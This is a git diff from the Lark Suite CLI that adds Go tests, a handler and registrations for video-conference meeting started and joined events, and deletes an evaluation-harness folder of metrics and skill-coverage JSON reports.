|
||||
} {
|
||||
t.Run(tc.name, func(t *testing.T) {
|
||||
payload := `{
|
||||
"schema": "2.0",
|
||||
"header": {
|
||||
"event_id": "ev_vc_lifecycle_002",
|
||||
"event_type": "` + tc.eventType + `",
|
||||
"create_time": "1608725989001"
|
||||
},
|
||||
"event": {
|
||||
"meeting": {
|
||||
"id": "meeting_invalid_time",
|
||||
"start_time": "bad",
|
||||
"end_time": ""
|
||||
}
|
||||
}
|
||||
}`
|
||||
out := runMeetingLifecycleRaw(t, tc.eventType, tc.process, payload)
|
||||
switch tc.eventType {
|
||||
case eventTypeMeetingStarted:
|
||||
var started VCParticipantMeetingStartedOutput
|
||||
if err := json.Unmarshal(out, &started); err != nil {
|
||||
t.Fatalf("Process output is not valid started JSON: %v\nraw=%s", err, string(out))
|
||||
}
|
||||
if started.StartTime != "" {
|
||||
t.Errorf("StartTime = %q, want empty string", started.StartTime)
|
||||
}
|
||||
case eventTypeMeetingJoined:
|
||||
var joined VCParticipantMeetingJoinedOutput
|
||||
if err := json.Unmarshal(out, &joined); err != nil {
|
||||
t.Fatalf("Process output is not valid joined JSON: %v\nraw=%s", err, string(out))
|
||||
}
|
||||
if joined.StartTime != "" {
|
||||
t.Errorf("StartTime = %q, want empty string", joined.StartTime)
|
||||
}
|
||||
}
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
func TestProcessVCParticipantMeetingLifecycle_MalformedPayload(t *testing.T) {
|
||||
t.Setenv("LARKSUITE_CLI_CONFIG_DIR", t.TempDir())
|
||||
|
||||
for _, tc := range []struct {
|
||||
name string
|
||||
eventType string
|
||||
process event.ProcessFunc
|
||||
}{
|
||||
{"started", eventTypeMeetingStarted, processVCParticipantMeetingStarted},
|
||||
{"joined", eventTypeMeetingJoined, processVCParticipantMeetingJoined},
|
||||
} {
|
||||
t.Run(tc.name, func(t *testing.T) {
|
||||
raw := &event.RawEvent{
|
||||
EventType: tc.eventType,
|
||||
Payload: json.RawMessage(`not json`),
|
||||
Timestamp: time.Now(),
|
||||
}
|
||||
got, err := tc.process(context.Background(), nil, raw, nil)
|
||||
if err != nil {
|
||||
t.Fatalf("Process should swallow parse errors, got %v", err)
|
||||
}
|
||||
if string(got) != "not json" {
|
||||
t.Errorf("malformed fallback output = %q, want original bytes", string(got))
|
||||
}
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
func TestVCParticipantMeetingLifecycle_PreConsumeSubscriptionLifecycle(t *testing.T) {
|
||||
t.Setenv("LARKSUITE_CLI_CONFIG_DIR", t.TempDir())
|
||||
|
||||
for _, eventType := range []string{eventTypeMeetingStarted, eventTypeMeetingJoined} {
|
||||
t.Run(eventType, func(t *testing.T) {
|
||||
def, ok := event.Lookup(eventType)
|
||||
if !ok {
|
||||
t.Fatalf("%s should be registered via Keys()", eventType)
|
||||
}
|
||||
|
||||
type call struct {
|
||||
method string
|
||||
path string
|
||||
body any
|
||||
}
|
||||
var calls []call
|
||||
rt := &stubAPIClient{
|
||||
callFn: func(_ context.Context, method, path string, body any) (json.RawMessage, error) {
|
||||
calls = append(calls, call{method: method, path: path, body: body})
|
||||
return json.RawMessage(`{"code":0,"msg":"success","data":{}}`), nil
|
||||
},
|
||||
}
|
||||
|
||||
cleanup, err := def.PreConsume(context.Background(), rt, nil)
|
||||
if err != nil {
|
||||
t.Fatalf("PreConsume error: %v", err)
|
||||
}
|
||||
if cleanup == nil {
|
||||
t.Fatal("cleanup must not be nil")
|
||||
}
|
||||
if len(calls) != 1 {
|
||||
t.Fatalf("calls after subscribe = %d, want 1", len(calls))
|
||||
}
|
||||
if calls[0].method != "POST" || calls[0].path != pathMeetingSubscribe {
|
||||
t.Fatalf("subscribe call = %+v", calls[0])
|
||||
}
|
||||
assertSubscriptionRequest(t, calls[0].body, eventType)
|
||||
|
||||
cleanup()
|
||||
if len(calls) != 2 {
|
||||
t.Fatalf("calls after cleanup = %d, want 2", len(calls))
|
||||
}
|
||||
if calls[1].method != "POST" || calls[1].path != pathMeetingUnsubscribe {
|
||||
t.Fatalf("unsubscribe call = %+v", calls[1])
|
||||
}
|
||||
assertSubscriptionRequest(t, calls[1].body, eventType)
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
func runMeetingLifecycleMap(t *testing.T, eventType string, process event.ProcessFunc, payload string) map[string]string {
|
||||
t.Helper()
|
||||
got := runMeetingLifecycleRaw(t, eventType, process, payload)
|
||||
if got == nil {
|
||||
t.Fatal("Process output is nil")
|
||||
}
|
||||
var out map[string]string
|
||||
if err := json.Unmarshal(got, &out); err != nil {
|
||||
t.Fatalf("Process output is not valid flat JSON object: %v\nraw=%s", err, string(got))
|
||||
}
|
||||
return out
|
||||
}
|
||||
|
||||
func runMeetingLifecycleRaw(t *testing.T, eventType string, process event.ProcessFunc, payload string) json.RawMessage {
|
||||
t.Helper()
|
||||
raw := &event.RawEvent{
|
||||
EventType: eventType,
|
||||
Payload: json.RawMessage(payload),
|
||||
Timestamp: time.Now(),
|
||||
}
|
||||
got, err := process(context.Background(), nil, raw, nil)
|
||||
if err != nil {
|
||||
t.Fatalf("Process error: %v", err)
|
||||
}
|
||||
return got
|
||||
}
|
||||
61
events/vc/participant_meeting_started.go
Normal file
61
events/vc/participant_meeting_started.go
Normal file
@@ -0,0 +1,61 @@
|
||||
// Copyright (c) 2026 Lark Technologies Pte. Ltd.
|
||||
// SPDX-License-Identifier: MIT
|
||||
|
||||
package vc
|
||||
|
||||
import (
|
||||
"context"
|
||||
"encoding/json"
|
||||
|
||||
"github.com/larksuite/cli/internal/event"
|
||||
)
|
||||
|
||||
// VCParticipantMeetingStartedOutput is the flattened shape for vc.meeting.participant_meeting_started_v1.
|
||||
type VCParticipantMeetingStartedOutput struct {
|
||||
Type string `json:"type" desc:"Event type; always vc.meeting.participant_meeting_started_v1"`
|
||||
EventID string `json:"event_id,omitempty" desc:"Globally unique event ID; safe for deduplication"`
|
||||
Timestamp string `json:"timestamp,omitempty" desc:"Event delivery time (ms timestamp string); taken from header.create_time when present" kind:"timestamp_ms"`
|
||||
MeetingID string `json:"meeting_id,omitempty" desc:"Meeting ID" kind:"meeting_id"`
|
||||
Topic string `json:"topic,omitempty" desc:"Meeting topic"`
|
||||
MeetingNo string `json:"meeting_no,omitempty" desc:"Meeting number"`
|
||||
StartTime string `json:"start_time,omitempty" desc:"Meeting start time in RFC3339, converted to the local timezone"`
|
||||
CalendarEventID string `json:"calendar_event_id,omitempty" desc:"Calendar event ID associated with the meeting"`
|
||||
}
|
||||
|
||||
func processVCParticipantMeetingStarted(_ context.Context, _ event.APIClient, raw *event.RawEvent, _ map[string]string) (json.RawMessage, error) {
|
||||
var envelope struct {
|
||||
Header struct {
|
||||
EventID string `json:"event_id"`
|
||||
EventType string `json:"event_type"`
|
||||
CreateTime string `json:"create_time"`
|
||||
} `json:"header"`
|
||||
Event struct {
|
||||
Meeting struct {
|
||||
ID string `json:"id"`
|
||||
Topic string `json:"topic"`
|
||||
MeetingNo string `json:"meeting_no"`
|
||||
StartTime string `json:"start_time"`
|
||||
CalendarEventID string `json:"calendar_event_id"`
|
||||
} `json:"meeting"`
|
||||
} `json:"event"`
|
||||
}
|
||||
if err := json.Unmarshal(raw.Payload, &envelope); err != nil {
|
||||
return raw.Payload, nil //nolint:nilerr // passthrough on malformed payload so consumers still see the event
|
||||
}
|
||||
|
||||
meeting := envelope.Event.Meeting
|
||||
out := &VCParticipantMeetingStartedOutput{
|
||||
Type: envelope.Header.EventType,
|
||||
EventID: envelope.Header.EventID,
|
||||
Timestamp: envelope.Header.CreateTime,
|
||||
MeetingID: meeting.ID,
|
||||
Topic: meeting.Topic,
|
||||
MeetingNo: meeting.MeetingNo,
|
||||
StartTime: unixSecondsToLocalRFC3339(meeting.StartTime),
|
||||
CalendarEventID: meeting.CalendarEventID,
|
||||
}
|
||||
if out.Type == "" {
|
||||
out.Type = raw.EventType
|
||||
}
|
||||
return json.Marshal(out)
|
||||
}
|
||||
@@ -11,6 +11,8 @@ import (
|
||||
)
|
||||
|
||||
const (
|
||||
eventTypeMeetingStarted = "vc.meeting.participant_meeting_started_v1"
|
||||
eventTypeMeetingJoined = "vc.meeting.participant_meeting_joined_v1"
|
||||
eventTypeMeetingEnded = "vc.meeting.participant_meeting_ended_v1"
|
||||
eventTypeNoteGenerated = "vc.note.generated_v1"
|
||||
eventTypeRecordingStarted = "vc.recording.recording_started_v1"
|
||||
@@ -30,6 +32,38 @@ const (
|
||||
// Keys returns all VC-domain EventKey definitions.
|
||||
func Keys() []event.KeyDefinition {
|
||||
return []event.KeyDefinition{
|
||||
{
|
||||
Key: eventTypeMeetingStarted,
|
||||
DisplayName: "Participant meeting started",
|
||||
Description: "Triggered when a meeting the current user participates in has started",
|
||||
EventType: eventTypeMeetingStarted,
|
||||
Schema: event.SchemaDef{
|
||||
Custom: &event.SchemaSpec{Type: reflect.TypeOf(VCParticipantMeetingStartedOutput{})},
|
||||
},
|
||||
Process: processVCParticipantMeetingStarted,
|
||||
PreConsume: subscriptionPreConsume(eventTypeMeetingStarted, pathMeetingSubscribe, pathMeetingUnsubscribe),
|
||||
Scopes: []string{"vc:meeting.meetingevent:read"},
|
||||
AuthTypes: []string{
|
||||
"user",
|
||||
},
|
||||
RequiredConsoleEvents: []string{eventTypeMeetingStarted},
|
||||
},
|
||||
{
|
||||
Key: eventTypeMeetingJoined,
|
||||
DisplayName: "Participant meeting joined",
|
||||
Description: "Triggered when the current user joins a meeting",
|
||||
EventType: eventTypeMeetingJoined,
|
||||
Schema: event.SchemaDef{
|
||||
Custom: &event.SchemaSpec{Type: reflect.TypeOf(VCParticipantMeetingJoinedOutput{})},
|
||||
},
|
||||
Process: processVCParticipantMeetingJoined,
|
||||
PreConsume: subscriptionPreConsume(eventTypeMeetingJoined, pathMeetingSubscribe, pathMeetingUnsubscribe),
|
||||
Scopes: []string{"vc:meeting.meetingevent:read"},
|
||||
AuthTypes: []string{
|
||||
"user",
|
||||
},
|
||||
RequiredConsoleEvents: []string{eventTypeMeetingJoined},
|
||||
},
|
||||
{
|
||||
Key: eventTypeMeetingEnded,
|
||||
DisplayName: "Participant meeting ended",
|
||||
|
||||
5
harness-opt/.gitignore
vendored
5
harness-opt/.gitignore
vendored
@@ -1,5 +0,0 @@
|
||||
# harness-opt 只入库轻量决策记录;重的原始评测 run 不进版本库(dashboard 仍读磁盘)。
|
||||
baseline/runs/
|
||||
**/child-runs/
|
||||
verify_results/sealed-runs/
|
||||
verify_results/*-runs/
|
||||
@@ -1,5 +0,0 @@
|
||||
{
|
||||
"1": 30086,
|
||||
"2": 34616,
|
||||
"3": 31289
|
||||
}
|
||||
@@ -1,50 +0,0 @@
|
||||
{
|
||||
"k": 5,
|
||||
"metrics": {
|
||||
"success_rate": {
|
||||
"mean": 0.4666666666666666,
|
||||
"std": 0.1632993161855452,
|
||||
"k": 5,
|
||||
"band": [
|
||||
0.14006803429557624,
|
||||
0.793265299037757
|
||||
]
|
||||
},
|
||||
"mean_score": {
|
||||
"mean": 0.5111111111111111,
|
||||
"std": 0.1507184440694504,
|
||||
"k": 5,
|
||||
"band": [
|
||||
0.20967422297221028,
|
||||
0.8125479992500119
|
||||
]
|
||||
},
|
||||
"mean_context_window": {
|
||||
"mean": 31997.0,
|
||||
"std": 7166.8411203573105,
|
||||
"k": 5,
|
||||
"band": [
|
||||
17663.31775928538,
|
||||
46330.682240714625
|
||||
]
|
||||
},
|
||||
"mean_duration_ms": {
|
||||
"mean": 50188.86666666667,
|
||||
"std": 7746.3168641619595,
|
||||
"k": 5,
|
||||
"band": [
|
||||
34696.23293834275,
|
||||
65681.50039499058
|
||||
]
|
||||
},
|
||||
"mean_token": {
|
||||
"mean": 263981.06666666665,
|
||||
"std": 27890.193480385413,
|
||||
"k": 5,
|
||||
"band": [
|
||||
208200.67970589583,
|
||||
319761.45362743747
|
||||
]
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -1,33 +0,0 @@
|
||||
{
|
||||
"k": 5,
|
||||
"n_cases": 3,
|
||||
"effect": {
|
||||
"mean": 0.5111111111111111,
|
||||
"sigma": 0.1507184440694504
|
||||
},
|
||||
"token": {
|
||||
"mean": 31997.0,
|
||||
"sigma": 7166.8411203573105
|
||||
},
|
||||
"duration": {
|
||||
"mean": 50188.86666666667,
|
||||
"sigma": 7746.3168641619595
|
||||
},
|
||||
"phi0_per_case": {
|
||||
"1": {
|
||||
"effect": 0.6,
|
||||
"token": 30086,
|
||||
"duration": 51004
|
||||
},
|
||||
"2": {
|
||||
"effect": 0.4,
|
||||
"token": 34616,
|
||||
"duration": 52787
|
||||
},
|
||||
"3": {
|
||||
"effect": 0.5333,
|
||||
"token": 31289,
|
||||
"duration": 46776
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -1,869 +0,0 @@
|
||||
{
|
||||
"summary": {
|
||||
"total_cases": 3,
|
||||
"files": 25,
|
||||
"expected_declared": 0,
|
||||
"blind_spots": 22,
|
||||
"overfit_high": 5,
|
||||
"suggest_add_cases": [
|
||||
"skills/lark-im/references/lark-im-chat-identity.md",
|
||||
"skills/lark-im/references/lark-im-flag-cancel.md",
|
||||
"skills/lark-im/references/lark-im-flag-create.md",
|
||||
"skills/lark-im/references/lark-im-message-enrichment.md",
|
||||
"skills/lark-im/references/lark-im-messages-search.md"
|
||||
],
|
||||
"suggest_fix_routing": []
|
||||
},
|
||||
"files": [
|
||||
{
|
||||
"path": "skills/lark-im/references/lark-im-chat-identity.md",
|
||||
"is_domain_skill": false,
|
||||
"actual": {
|
||||
"count": 0,
|
||||
"pct": 0.0,
|
||||
"tier": "盲区"
|
||||
},
|
||||
"expected": {
|
||||
"count": 0,
|
||||
"pct": 0.0,
|
||||
"tier": "盲区"
|
||||
},
|
||||
"union": {
|
||||
"count": 0,
|
||||
"pct": 0.0,
|
||||
"tier": "盲区"
|
||||
},
|
||||
"discoverability_miss": 0,
|
||||
"density_count": 0,
|
||||
"density_pct": 0.0,
|
||||
"density_tier": "盲区",
|
||||
"risk_tier": "高",
|
||||
"risk_lines": {
|
||||
"R0": 5,
|
||||
"R1": 0,
|
||||
"R2": 0,
|
||||
"R3": 50
|
||||
},
|
||||
"total_lines": 55,
|
||||
"overfit_risk": "高",
|
||||
"suggest_add_cases": true,
|
||||
"suggest_fix_routing": false
|
||||
},
|
||||
{
|
||||
"path": "skills/lark-im/references/lark-im-messages-search.md",
|
||||
"is_domain_skill": false,
|
||||
"actual": {
|
||||
"count": 0,
|
||||
"pct": 0.0,
|
||||
"tier": "盲区"
|
||||
},
|
||||
"expected": {
|
||||
"count": 0,
|
||||
"pct": 0.0,
|
||||
"tier": "盲区"
|
||||
},
|
||||
"union": {
|
||||
"count": 0,
|
||||
"pct": 0.0,
|
||||
"tier": "盲区"
|
||||
},
|
||||
"discoverability_miss": 0,
|
||||
"density_count": 0,
|
||||
"density_pct": 0.0,
|
||||
"density_tier": "盲区",
|
||||
"risk_tier": "高",
|
||||
"risk_lines": {
|
||||
"R0": 6,
|
||||
"R1": 85,
|
||||
"R2": 112,
|
||||
"R3": 31
|
||||
},
|
||||
"total_lines": 234,
|
||||
"overfit_risk": "高",
|
||||
"suggest_add_cases": true,
|
||||
"suggest_fix_routing": false
|
||||
},
|
||||
{
|
||||
"path": "skills/lark-im/references/lark-im-flag-cancel.md",
|
||||
"is_domain_skill": false,
|
||||
"actual": {
|
||||
"count": 0,
|
||||
"pct": 0.0,
|
||||
"tier": "盲区"
|
||||
},
|
||||
"expected": {
|
||||
"count": 0,
|
||||
"pct": 0.0,
|
||||
"tier": "盲区"
|
||||
},
|
||||
"union": {
|
||||
"count": 0,
|
||||
"pct": 0.0,
|
||||
"tier": "盲区"
|
||||
},
|
||||
"discoverability_miss": 0,
|
||||
"density_count": 0,
|
||||
"density_pct": 0.0,
|
||||
"density_tier": "盲区",
|
||||
"risk_tier": "高",
|
||||
"risk_lines": {
|
||||
"R0": 6,
|
||||
"R1": 25,
|
||||
"R2": 21,
|
||||
"R3": 15
|
||||
},
|
||||
"total_lines": 67,
|
||||
"overfit_risk": "高",
|
||||
"suggest_add_cases": true,
|
||||
"suggest_fix_routing": false
|
||||
},
|
||||
{
|
||||
"path": "skills/lark-im/references/lark-im-flag-create.md",
|
||||
"is_domain_skill": false,
|
||||
"actual": {
|
||||
"count": 0,
|
||||
"pct": 0.0,
|
||||
"tier": "盲区"
|
||||
},
|
||||
"expected": {
|
||||
"count": 0,
|
||||
"pct": 0.0,
|
||||
"tier": "盲区"
|
||||
},
|
||||
"union": {
|
||||
"count": 0,
|
||||
"pct": 0.0,
|
||||
"tier": "盲区"
|
||||
},
|
||||
"discoverability_miss": 0,
|
||||
"density_count": 0,
|
||||
"density_pct": 0.0,
|
||||
"density_tier": "盲区",
|
||||
"risk_tier": "高",
|
||||
"risk_lines": {
|
||||
"R0": 7,
|
||||
"R1": 25,
|
||||
"R2": 20,
|
||||
"R3": 15
|
||||
},
|
||||
"total_lines": 67,
|
||||
"overfit_risk": "高",
|
||||
"suggest_add_cases": true,
|
||||
"suggest_fix_routing": false
|
||||
},
|
||||
{
|
||||
"path": "skills/lark-im/references/lark-im-message-enrichment.md",
|
||||
"is_domain_skill": false,
|
||||
"actual": {
|
||||
"count": 0,
|
||||
"pct": 0.0,
|
||||
"tier": "盲区"
|
||||
},
|
||||
"expected": {
|
||||
"count": 0,
|
||||
"pct": 0.0,
|
||||
"tier": "盲区"
|
||||
},
|
||||
"union": {
|
||||
"count": 0,
|
||||
"pct": 0.0,
|
||||
"tier": "盲区"
|
||||
},
|
||||
"discoverability_miss": 0,
|
||||
"density_count": 0,
|
||||
"density_pct": 0.0,
|
||||
"density_tier": "盲区",
|
||||
"risk_tier": "高",
|
||||
"risk_lines": {
|
||||
"R0": 1,
|
||||
"R1": 0,
|
||||
"R2": 43,
|
||||
"R3": 10
|
||||
},
|
||||
"total_lines": 54,
|
||||
"overfit_risk": "高",
|
||||
"suggest_add_cases": true,
|
||||
"suggest_fix_routing": false
|
||||
},
|
||||
{
|
||||
"path": "skills/lark-im/references/lark-im-chat-messages-list.md",
|
||||
"is_domain_skill": false,
|
||||
"actual": {
|
||||
"count": 0,
|
||||
"pct": 0.0,
|
||||
"tier": "盲区"
|
||||
},
|
||||
"expected": {
|
||||
"count": 0,
|
||||
"pct": 0.0,
|
||||
"tier": "盲区"
|
||||
},
|
||||
"union": {
|
||||
"count": 0,
|
||||
"pct": 0.0,
|
||||
"tier": "盲区"
|
||||
},
|
||||
"discoverability_miss": 0,
|
||||
"density_count": 0,
|
||||
"density_pct": 0.0,
|
||||
"density_tier": "盲区",
|
||||
"risk_tier": "中",
|
||||
"risk_lines": {
|
||||
"R0": 5,
|
||||
"R1": 90,
|
||||
"R2": 40,
|
||||
"R3": 22
|
||||
},
|
||||
"total_lines": 157,
|
||||
"overfit_risk": "关注",
|
||||
"suggest_add_cases": false,
|
||||
"suggest_fix_routing": false
|
||||
},
|
||||
{
|
||||
"path": "skills/lark-im/references/lark-im-messages-reply.md",
|
||||
"is_domain_skill": false,
|
||||
"actual": {
|
||||
"count": 0,
|
||||
"pct": 0.0,
|
||||
"tier": "盲区"
|
||||
},
|
||||
"expected": {
|
||||
"count": 0,
|
||||
"pct": 0.0,
|
||||
"tier": "盲区"
|
||||
},
|
||||
"union": {
|
||||
"count": 0,
|
||||
"pct": 0.0,
|
||||
"tier": "盲区"
|
||||
},
|
||||
"discoverability_miss": 0,
|
||||
"density_count": 0,
|
||||
"density_pct": 0.0,
|
||||
"density_tier": "盲区",
|
||||
"risk_tier": "中",
|
||||
"risk_lines": {
|
||||
"R0": 1,
|
||||
"R1": 139,
|
||||
"R2": 109,
|
||||
"R3": 14
|
||||
},
|
||||
"total_lines": 263,
|
||||
"overfit_risk": "关注",
|
||||
"suggest_add_cases": false,
|
||||
"suggest_fix_routing": false
|
||||
},
|
||||
{
|
||||
"path": "skills/lark-im/references/lark-im-feed-groups.md",
|
||||
"is_domain_skill": false,
|
||||
"actual": {
|
||||
"count": 0,
|
||||
"pct": 0.0,
|
||||
"tier": "盲区"
|
||||
},
|
||||
"expected": {
|
||||
"count": 0,
|
||||
"pct": 0.0,
|
||||
"tier": "盲区"
|
||||
},
|
||||
"union": {
|
||||
"count": 0,
|
||||
"pct": 0.0,
|
||||
"tier": "盲区"
|
||||
},
|
||||
"discoverability_miss": 0,
|
||||
"density_count": 0,
|
||||
"density_pct": 0.0,
|
||||
"density_tier": "盲区",
|
||||
"risk_tier": "中",
|
||||
"risk_lines": {
|
||||
"R0": 50,
|
||||
"R1": 368,
|
||||
"R2": 22,
|
||||
"R3": 12
|
||||
},
|
||||
"total_lines": 452,
|
||||
"overfit_risk": "关注",
|
||||
"suggest_add_cases": false,
|
||||
"suggest_fix_routing": false
|
||||
},
|
||||
{
|
||||
"path": "skills/lark-im/references/lark-im-chat-search.md",
|
||||
"is_domain_skill": false,
|
||||
"actual": {
|
||||
"count": 0,
|
||||
"pct": 0.0,
|
||||
"tier": "盲区"
|
||||
},
|
||||
"expected": {
|
||||
"count": 0,
|
||||
"pct": 0.0,
|
||||
"tier": "盲区"
|
||||
},
|
||||
"union": {
|
||||
"count": 0,
|
||||
"pct": 0.0,
|
||||
"tier": "盲区"
|
||||
},
|
||||
"discoverability_miss": 0,
|
||||
"density_count": 0,
|
||||
"density_pct": 0.0,
|
||||
"density_tier": "盲区",
|
||||
"risk_tier": "中",
|
||||
"risk_lines": {
|
||||
"R0": 5,
|
||||
"R1": 102,
|
||||
"R2": 24,
|
||||
"R3": 11
|
||||
},
|
||||
"total_lines": 142,
|
||||
"overfit_risk": "关注",
|
||||
"suggest_add_cases": false,
|
||||
"suggest_fix_routing": false
|
||||
},
|
||||
{
|
||||
"path": "skills/lark-im/references/lark-im-chat-update.md",
|
||||
"is_domain_skill": false,
|
||||
"actual": {
|
||||
"count": 0,
|
||||
"pct": 0.0,
|
||||
"tier": "盲区"
|
||||
},
|
||||
"expected": {
|
||||
"count": 0,
|
||||
"pct": 0.0,
|
||||
"tier": "盲区"
|
||||
},
|
||||
"union": {
|
||||
"count": 0,
|
||||
"pct": 0.0,
|
||||
"tier": "盲区"
|
||||
},
|
||||
"discoverability_miss": 0,
|
||||
"density_count": 0,
|
||||
"density_pct": 0.0,
|
||||
"density_tier": "盲区",
|
||||
"risk_tier": "中",
|
||||
"risk_lines": {
|
||||
"R0": 5,
|
||||
"R1": 67,
|
||||
"R2": 2,
|
||||
"R3": 10
|
||||
},
|
||||
"total_lines": 84,
|
||||
"overfit_risk": "关注",
|
||||
"suggest_add_cases": false,
|
||||
"suggest_fix_routing": false
|
||||
},
|
||||
{
|
||||
"path": "skills/lark-im/references/lark-im-messages-resources-download.md",
|
||||
"is_domain_skill": false,
|
||||
"actual": {
|
||||
"count": 0,
|
||||
"pct": 0.0,
|
||||
"tier": "盲区"
|
||||
},
|
||||
"expected": {
|
||||
"count": 0,
|
||||
"pct": 0.0,
|
||||
"tier": "盲区"
|
||||
},
|
||||
"union": {
|
||||
"count": 0,
|
||||
"pct": 0.0,
|
||||
"tier": "盲区"
|
||||
},
|
||||
"discoverability_miss": 0,
|
||||
"density_count": 0,
|
||||
"density_pct": 0.0,
|
||||
"density_tier": "盲区",
|
||||
"risk_tier": "中",
|
||||
"risk_lines": {
|
||||
"R0": 5,
|
||||
"R1": 55,
|
||||
"R2": 24,
|
||||
"R3": 10
|
||||
},
|
||||
"total_lines": 94,
|
||||
"overfit_risk": "关注",
|
||||
"suggest_add_cases": false,
|
||||
"suggest_fix_routing": false
|
||||
},
|
||||
{
|
||||
"path": "skills/lark-im/references/lark-im-threads-messages-list.md",
|
||||
"is_domain_skill": false,
|
||||
"actual": {
|
||||
"count": 0,
|
||||
"pct": 0.0,
|
||||
"tier": "盲区"
|
||||
},
|
||||
"expected": {
|
||||
"count": 0,
|
||||
"pct": 0.0,
|
||||
"tier": "盲区"
|
||||
},
|
||||
"union": {
|
||||
"count": 0,
|
||||
"pct": 0.0,
|
||||
"tier": "盲区"
|
||||
},
|
||||
"discoverability_miss": 0,
|
||||
"density_count": 0,
|
||||
"density_pct": 0.0,
|
||||
"density_tier": "盲区",
|
||||
"risk_tier": "中",
|
||||
"risk_lines": {
|
||||
"R0": 6,
|
||||
"R1": 72,
|
||||
"R2": 28,
|
||||
"R3": 9
|
||||
},
|
||||
"total_lines": 115,
|
||||
"overfit_risk": "关注",
|
||||
"suggest_add_cases": false,
|
||||
"suggest_fix_routing": false
|
||||
},
|
||||
{
|
||||
"path": "skills/lark-im/references/lark-im-chat-list.md",
|
||||
"is_domain_skill": false,
|
||||
"actual": {
|
||||
"count": 0,
|
||||
"pct": 0.0,
|
||||
"tier": "盲区"
|
||||
},
|
||||
"expected": {
|
||||
"count": 0,
|
||||
"pct": 0.0,
|
||||
"tier": "盲区"
|
||||
},
|
||||
"union": {
|
||||
"count": 0,
|
||||
"pct": 0.0,
|
||||
"tier": "盲区"
|
||||
},
|
||||
"discoverability_miss": 0,
|
||||
"density_count": 0,
|
||||
"density_pct": 0.0,
|
||||
"density_tier": "盲区",
|
||||
"risk_tier": "中",
|
||||
"risk_lines": {
|
||||
"R0": 1,
|
||||
"R1": 103,
|
||||
"R2": 56,
|
||||
"R3": 6
|
||||
},
|
||||
"total_lines": 166,
|
||||
"overfit_risk": "关注",
|
||||
"suggest_add_cases": false,
|
||||
"suggest_fix_routing": false
|
||||
},
|
||||
{
|
||||
"path": "skills/lark-im/references/lark-im-flag-list.md",
|
||||
"is_domain_skill": false,
|
||||
"actual": {
|
||||
"count": 0,
|
||||
"pct": 0.0,
|
||||
"tier": "盲区"
|
||||
},
|
||||
"expected": {
|
||||
"count": 0,
|
||||
"pct": 0.0,
|
||||
"tier": "盲区"
|
||||
},
|
||||
"union": {
|
||||
"count": 0,
|
||||
"pct": 0.0,
|
||||
"tier": "盲区"
|
||||
},
|
||||
"discoverability_miss": 0,
|
||||
"density_count": 0,
|
||||
"density_pct": 0.0,
|
||||
"density_tier": "盲区",
|
||||
"risk_tier": "中",
|
||||
"risk_lines": {
|
||||
"R0": 5,
|
||||
"R1": 80,
|
||||
"R2": 9,
|
||||
"R3": 6
|
||||
},
|
||||
"total_lines": 100,
|
||||
"overfit_risk": "关注",
|
||||
"suggest_add_cases": false,
|
||||
"suggest_fix_routing": false
|
||||
},
|
||||
{
|
||||
"path": "skills/lark-im/references/lark-im-reactions.md",
|
||||
"is_domain_skill": false,
|
||||
"actual": {
|
||||
"count": 0,
|
||||
"pct": 0.0,
|
||||
"tier": "盲区"
|
||||
},
|
||||
"expected": {
|
||||
"count": 0,
|
||||
"pct": 0.0,
|
||||
"tier": "盲区"
|
||||
},
|
||||
"union": {
|
||||
"count": 0,
|
||||
"pct": 0.0,
|
||||
"tier": "盲区"
|
||||
},
|
||||
"discoverability_miss": 0,
|
||||
"density_count": 0,
|
||||
"density_pct": 0.0,
|
||||
"density_tier": "盲区",
|
||||
"risk_tier": "中",
|
||||
"risk_lines": {
|
||||
"R0": 73,
|
||||
"R1": 206,
|
||||
"R2": 18,
|
||||
"R3": 2
|
||||
},
|
||||
"total_lines": 299,
|
||||
"overfit_risk": "关注",
|
||||
"suggest_add_cases": false,
|
||||
"suggest_fix_routing": false
|
||||
},
|
||||
{
|
||||
"path": "skills/lark-im/references/lark-im-feed-group-list-item.md",
|
||||
"is_domain_skill": false,
|
||||
"actual": {
|
||||
"count": 0,
|
||||
"pct": 0.0,
|
||||
"tier": "盲区"
|
||||
},
|
||||
"expected": {
|
||||
"count": 0,
|
||||
"pct": 0.0,
|
||||
"tier": "盲区"
|
||||
},
|
||||
"union": {
|
||||
"count": 0,
|
||||
"pct": 0.0,
|
||||
"tier": "盲区"
|
||||
},
|
||||
"discoverability_miss": 0,
|
||||
"density_count": 0,
|
||||
"density_pct": 0.0,
|
||||
"density_tier": "盲区",
|
||||
"risk_tier": "中",
|
||||
"risk_lines": {
|
||||
"R0": 7,
|
||||
"R1": 44,
|
||||
"R2": 17,
|
||||
"R3": 0
|
||||
},
|
||||
"total_lines": 68,
|
||||
"overfit_risk": "关注",
|
||||
"suggest_add_cases": false,
|
||||
"suggest_fix_routing": false
|
||||
},
|
||||
{
|
||||
"path": "skills/lark-im/references/lark-im-feed-group-list.md",
|
||||
"is_domain_skill": false,
|
||||
"actual": {
|
||||
"count": 0,
|
||||
"pct": 0.0,
|
||||
"tier": "盲区"
|
||||
},
|
||||
"expected": {
|
||||
"count": 0,
|
||||
"pct": 0.0,
|
||||
"tier": "盲区"
|
||||
},
|
||||
"union": {
|
||||
"count": 0,
|
||||
"pct": 0.0,
|
||||
"tier": "盲区"
|
||||
},
|
||||
"discoverability_miss": 0,
|
||||
"density_count": 0,
|
||||
"density_pct": 0.0,
|
||||
"density_tier": "盲区",
|
||||
"risk_tier": "中",
|
||||
"risk_lines": {
|
||||
"R0": 6,
|
||||
"R1": 44,
|
||||
"R2": 15,
|
||||
"R3": 0
|
||||
},
|
||||
"total_lines": 65,
|
||||
"overfit_risk": "关注",
|
||||
"suggest_add_cases": false,
|
||||
"suggest_fix_routing": false
|
||||
},
|
||||
{
|
||||
"path": "skills/lark-im/references/lark-im-feed-group-query-item.md",
|
||||
"is_domain_skill": false,
|
||||
"actual": {
|
||||
"count": 0,
|
||||
"pct": 0.0,
|
||||
"tier": "盲区"
|
||||
},
|
||||
"expected": {
|
||||
"count": 0,
|
||||
"pct": 0.0,
|
||||
"tier": "盲区"
|
||||
},
|
||||
"union": {
|
||||
"count": 0,
|
||||
"pct": 0.0,
|
||||
"tier": "盲区"
|
||||
},
|
||||
"discoverability_miss": 0,
|
||||
"density_count": 0,
|
||||
"density_pct": 0.0,
|
||||
"density_tier": "盲区",
|
||||
